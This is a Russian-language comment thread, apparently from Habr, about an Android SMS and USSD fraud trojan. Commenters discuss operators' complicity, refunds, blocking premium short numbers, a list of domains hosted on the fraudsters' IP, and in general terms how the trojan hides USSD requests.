      На то, что прикроют номера можно даже не надеяться. В лучше случае — заблокируют указанные префиксы, да выкатят штраф.
      Ну и, конечно, вряд ли отреагируют на пост на хабре… вот если бы знакомый написал жалобу оператору, с указанием как это произошло — тогда более вероятно, что последует хоть какая-то реакция.
      • –2
        Лучше бы его друг написал в прокуратуру заявление… но и тут такая тонкость — с какой суммы мошенничество становится не административкой, а уголовкой. Кража из магазина, насколько я знаю благодаря ролику Тесака, таковой становится с 1000 рублей.
    • +1
      Полностью согласен. Если бы операторы хотели препятствовать подобным мошенничествам, они бы давно ввели какую-нибудь диалоговую систему. Например, если абонент отправил SMS на XXXX, вместо того чтобы сразу снимать деньги, приходит ответная СМС: «Вы заказали платную услугу по номеру XXXX. Её стоимость составляет 80 руб. Чтобы подтвердить оплату, отправьте 1. Если Вы не отправляли СМС на данный номер, пожалуйста, свяжитесь со службой безопасности по номеру XXX-XXXX.»

      Всегда нужно задаваться вопросом: а кому выгодна данная ситуация? И всё станет ясно. :)
  • +4
    Лично я надеюсь, что глубокоуважаемые операторы Мегафон, Билайн, МТС, Теле2 и остальные примут серьезные меры по поводу контент-провайдеров, потому что они не проследили за использованием их номеров, и кто-то наконец докопается до настоящих виновников, которые разрабатывают и распространяют эти трояны и заставит их ответить по всей строгости закона.

    Не хочу вас огорчать, но скорее всего то, с чем столнулись Вы меньше 1% того, что твориться с короткими номерами и подобными программами. Операторы заявляют что они делают все возможное, но ситуация не меняется уже несколько лет.
    По поводу сайта…

    Информация по IP адресу 62.75.182.157:

    Найдено сайтов: 18

    mobi-file.com
    zwmobi.net
    mobiprogi.com
    rus99.com
    alphamobi.com
    2mobi.org
    womobi.net
    72file.com
    wap-russia.com
    island-mobile.com
    alt-mobi.com
    mskmobi.com
    mobislon.com
    mirofon.com
    wsmobi.org
    masmobi.net
    doodledooodle.net
    best-minecraft.net
    • +1
      > wap-russia.com
      > wap
      > wap

      WAP! Господи, кому ж он в 2012 году нужен и когда же он уже к чёрту сдохнет!
      • 0
        ЖырЪ! Ради троянов и держат, судя по тарифу…
  • +3
    Добавьте к ссылке на сайт мошенников rel=«nofollow», чтобы поисковики не учитывали эту ссылку.
    • +1
      Спасибо, добавил.
  • +3
    Зачем им что-либо предпринимать? Этот вид мошенничества им очень и очень выгоден, ибо они забирают до 80% денег за каждое «премиум»-смс
    • 0
      Да мне вообще кажется, что собственно они и организаторы всего этого дела и выход из этой ситуации крайне трудный — делать оператора конкурента. А че? Банки были убогие — пришел Тиньков и отхапал свой немалый кусок тем, что сервис думает о пользователях больше чем все остальные. Может кто-то додумается/решится и мобильного оператора человеческого сделает.
    • 0
      Ну не 80, а 50 как минимум. А с другой стороны предпринять обязаны, если есть заявление. И писать его нужно не оператору, а правоохранительным органам. Вот прямо сразу заблокируют. Говорю не просто так, сам работаю в сфере смс-биллинга.
  • +3
    >Еще один момент — все USSD запросы проходят в фоновом режиме

    Это что за прикол?

    Вирус значит умеет, а программа проверки баланса еще не научилась:(
    • +3
      Android SDK не предоставляет никаких средств работы с USSD запросами, а троян биндится к системной службе, которая обеспечивает работу с USSD. Эта служба нигде не документирована, единственный вариант, откуда можно от неё первоначально узнать — чтение исходников Android.
  • +1
    >> ООО (Шутка дня)
    Очень хочется, что бы эта шутка была последней.
  • 0
    Спасибо за ДЗ, разобрался немного с USSD :)

    Смущают только вот эти моменты, Вы пишете:
    «по всей видимости реализация фонового выполнения USSD запросов была скопирована разработчиками трояна с сайта commandus. В качестве домашнего задания читателям предлагается понять, почему была скопирована именно реализация с этого сайта и найти подтверждение тому в коде»

    Но, кроме этой реализации — через создание сервиса от IExtendedNetworkService — иного способа контролировать запросы USSD я не встречал. А задокументированных и доступных разработчику возможностей самой Android OS — нема.
    И этот способ не совсем фоновый — хоть вывод результата USSD можно подавить, но сам процесс осуществления USSD — нет. Разве что, приложение может заиметь права админа устройства, и выключать экран, когда запрос завершится, но сам процесс, вроде как, виден.
    P.S.: каюсь, ваши коды не смотрел)
  • +1
    Такие вещи на самом деле в интересном положении находятся. Уверяю — операторы прекрасно знают о мошеннических схемах. Это некий общий сговор. Ничего не сделать, пока абоненты не начнут судиться массово, до чего никто старается не доводить возвращая деньги. Это схема из серии «ой, видимо какая-то техническая ошибка. сейчас исправим» после чего реально деньги возвращают, хотя скорее всего менее настойчивым — реже, а более настойчивым — чаще. На этом основан доход от контента) Основан на том, что пользователи врядли будут полноценно разбираться, почему списали деньги, а будут удовлетворены тем, что их отписали от всего и вернули деньги. Это если честно — гениально, хоть и ни о какой законности речи нет, но попробуй докажи))
    • 0
      причём чаще всего снимаются средства, которые если ехать и писать заявление в офис (по другому не возвращают) тебе дороже проезд обойдется, потому система хитрая и чаще всего народ плюёт.
  • +1
    С упомянутой статьи в моем блоге про USSD запросы примеры скачивают по несколько раз в день, сожалею, если они кем то действительно были применены в нехороших целях.
  • 0
    Мне лично МТС заявило следующее: что они не могут контролировать короткие номера, так как не смотря что сеть их, такие номера регистрируются не ими, а самими контент провайдерами когда угодно и всё что они бедные могут, это проверять их своей службой безопасности по претензии или отправленному на специальный короткий номер (не помню уже какой) с текстом где будет указано куда отправляются смс и в общем то всё.
  • +1
    О, mp3-999.com знаменитый AKRINO с Британских Виргинских островов, знаменитая партнерка. Они еще на своих серверах почти все трояны держат, bullet proof хостинг. Деньги бешенные отмывают, и их явно кто-то покрывает.
  • 0
    Мало кто знает (и этим мошенники пользуются), что можно просто позвонить своему оператору и попросить вернуть деньги, объяснив ситуацию.
    Они возвращают деньги без лишних вопросов.
    Кроме того, могут поставить вам запрет на отправку СМС на короткие номера,
    и тем самым избавить от подобных проблем навсегда.
    (По крайней мере в моем случае Мегафон все так и сделал)
    • 0
      Кроме того, могут поставить вам запрет на отправку СМС на короткие номера
      Я так и думал, что это должно баниться на более высоком уровне…
  • 0
    Я написал письмо в МТС с просьбой запретить контент платный на все телефоны моей семьи. А то воруют деньги.
    И да, Дедушка Мороз, сделай пожалуйста так, чтобы все эти владельцы контент-провайдеров @#$@$@$@$@@#$@ и так-же #@@$@@#$#$!!!
  • 0
    без этой ссылки топик был бы не полон

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.